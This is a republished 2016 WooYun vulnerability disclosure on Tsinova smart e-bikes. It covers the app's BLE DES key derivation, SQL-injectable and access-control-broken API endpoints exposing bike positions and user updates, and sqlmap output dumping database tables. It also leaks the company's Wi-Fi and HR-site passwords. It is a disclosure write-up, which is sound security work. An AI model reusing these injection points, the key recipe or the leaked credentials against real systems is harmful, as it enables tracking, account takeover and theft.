基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

admin 2017年4月2日08:55:03评论311 views字数 229阅读0分45秒阅读模式
摘要

2016-03-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开

漏洞概要 关注数(29) 关注此漏洞

缺陷编号: WooYun-2016-188915

漏洞标题: 基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

相关厂商: 轻客智慧

漏洞作者: 老中医

提交时间: 2016-03-25 14:46

公开时间: 2016-05-09 14:46

漏洞类型: 设计不当

危害等级: 高

自评Rank: 15

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

14人收藏


漏洞详情

披露状态:

2016-03-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

最近想买个自行车上下班的时候就不用挤公交了顺便还能锻炼身体.发现现在出现好多智能自行车,但是多数就是些写个 app 就披上智能的外衣了,除了增加一些非必要的功能貌似也不是真智能.无意中发现轻客的智慧电单车的宣传,其描述的总线系统/多个传感器/voleUP!等貌似很屌,准备剁手体验下,但是没有货.于是就先预热研究下其安全性,也算是对智能自行车攻击的一次探索.

详细说明:

attack surface:

先画一个模型图,之后就按模型图逐步分析.(bike 和 server 间的通信通过其采购 gps 和联通物联网服务,猜测其为 GPS 定位,GPRS 回传数据.)

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

---

attack surface : app -- bike

因为没有车还没有买( jd 上缺货... ),所以先从 app 开始下手.因为app 和车之间通信是使用的协议是 bluetooth low energy,所以要梳理下 ble 相关知识.

简单来说,手机上的 app 就是 ble 的 gatt client,而自行车上的固件就是 gatt 的 server,他们之间通过基本数据单元Characteristic交互数据,示意图如下

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

BLE是蓝牙4.0的核心Profile,主打功能是快速搜索,快速连接,超低功耗保持连接和传输数据,弱点是数据传输速率低,由于BLE的低功耗特点,因此普遍用于穿戴设备.Android 4.3才开始提供BLE API.

一般来说,Characteristic是手机与BLE终端交换数据的关键,Characteristic有较多的跟权限相关的字段,例如PERMISSION和PROPERTY,而其中最常用的是PROPERTY.

一个BLEServer设备可以包含多个服务(BluetoothGattService),每个服务又包含很多的特征(BluetoothGattCharacteristic),每个Characteristic包含一个Value和多个Descriptor,一个Descriptor包含一个Value.

尝试分析 app 看是否能够通过伪造 ble 通信来控制车辆(读取写入数据),从逆向代码来看其自定义了三个 uuid.

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

而且在写入Characteristic使用了 des 加密.

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

16位密钥为 CarBluetoothNumber 后8位与"04030915" 拼接.

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

进入这个阶段貌似陷入僵局了,因为CarBluetoothNumber这个参数是对我来说是未知的.这个加密从现阶段来看是个不错的安全措施了,转变思路进入下一项分析.

漏洞证明:

attack surface : app -- server

这阶段先对接口漏洞进行测试,从 app 分析来看接口不多:

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

存在漏洞的接口:

- sql注入/越权查询其他车辆信息

**.**.**.**/getBikePosition?carNumber=

- sql注入/任意密码修改/任意phone修改/任意carBluetoothNumber修改...总之你有个 update 的注入基本可以随便整了.

**.**.**.**/updateUser?userID=977&sex=&phone=&desKey=&carControllerNumber=&nickname=admin&isForbidden=0&carNumber=&isConnectedBluetooth=0&mood=&userName=&carBluetoothNumber=&password=

- sql注入

**.**.**.**/userLogin?password=&userName=

- 文件上传(只能传 html,其他 shell 会被阿里云干掉)

**.**.**.**/uploadFile/

code 区域
[18:03:08] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
[18:03:08] [INFO] fetching tables for database: 'bike'
[18:03:08] [INFO] fetching number of tables for database 'bike'
[18:03:08] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:03:08] [INFO] retrieved: 13
[18:03:09] [INFO] retrieved: attention
[18:03:17] [INFO] retrieved: bluetooth
[18:03:28] [INFO] retrieved: carNumberMapping
[18:03:43] [INFO] retrieved: collection
[18:03:51] [INFO] retrieved: homeInfo
[18:03:59] [INFO] retrieved: news
[18:04:03] [INFO] retrieved: newsContent
[18:04:10] [INFO] retrieved: note
[18:04:14] [INFO] retrieved: notice
[18:04:18] [INFO] retrieved: route
[18:04:23] [INFO] retrieved: user
[18:04:27] [INFO] retrieved: version
[18:04:34] [INFO] retrieved: zan
Database: bike
[13 tables]
+------------------+
| user |
| version |
| attention |
| bluetooth |
| carNumberMapping |
| collection |
| homeInfo |
| news |
| newsContent |
| note |
| notice |
| route |
| zan |
+------------------+

通过上面的注入和越权基本可以收集到车辆大体数据,比如 carnumber / location / imei ...

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

为了更直观的体现数据将json 导入到全国散点图中,发现自行车最多的还是北上广.(根据资料显示定位误差大概在10-20m,即使不偷车光拆电池也有700rmb 了.)

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

到这里前面的CarBluetoothNumber 和其 position 也得手了,剩下的就找一辆车来继续测试了. to be continue .

----

测试过程中发现一些其他的料:

code 区域
无线网络

Tsinova/Tsinova2015

Tsinova-5G/Tsinova2015

Tsinova-Guest/Tsinovaguest

Tsinova-5G-Guest/Tsinovaguest

拉勾网:
hr@**.**.**.**/tsinova

大街网:
hr@**.**.**.**/tsinova tsi2014

基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全)

修复方案:

版权声明:转载请注明来源 老中医@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-03-25 14:47 | 疯狗 基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全) ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    1

    进入起飞模式

  2. 2016-03-25 14:50 | 瘦蛟舞 基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全) ( 普通白帽子 | Rank:765 漏洞数:83 | 铁甲依然在)

    1

    mark

  3. 2016-03-25 15:36 | lxj616 ( 普通白帽子 | Rank:455 漏洞数:92 | 来自喵星的太空喵)

    1

    要啥自行车

  4. 2016-03-25 17:35 | 一只猿 ( 普通白帽子 | Rank:560 漏洞数:98 | 硬件与无线通信研究方向)

    1

    关注

  5. 2016-05-18 11:18 | BMa 基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全) ( 核心白帽子 | Rank:2078 漏洞数:229 )

    0

    最后还是通过web端口搞定的 - - !

  6. 2016-05-18 11:30 | 老中医 ( 实习白帽子 | Rank:67 漏洞数:5 | 柳随风摆花漂泊,华佗难医天下过,一曲未尽半...)

    0

    @BMa 还没弄完呐, 没有车就只能弄 web ...等京东有货了,我再测测其他 surface

  7. 2016-05-18 11:38 | 老中医 ( 实习白帽子 | Rank:67 漏洞数:5 | 柳随风摆花漂泊,华佗难医天下过,一曲未尽半...)

    0

    @BMa 这在我看来也不算搞定,顶多算个阶段漏洞梳理. 不过比动嘴皮子好多了.

  8. 2016-05-18 13:50 | BMa 基于轻客智慧电单车摸索智能自行车攻击模型与实际影响展现(BLE/APK/云安全) ( 核心白帽子 | Rank:2078 漏洞数:229 )

    0

    @老中医 我的意思是在整个环节中,apk的算法对安全有考虑,但最明显的web端,厂商却没管

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin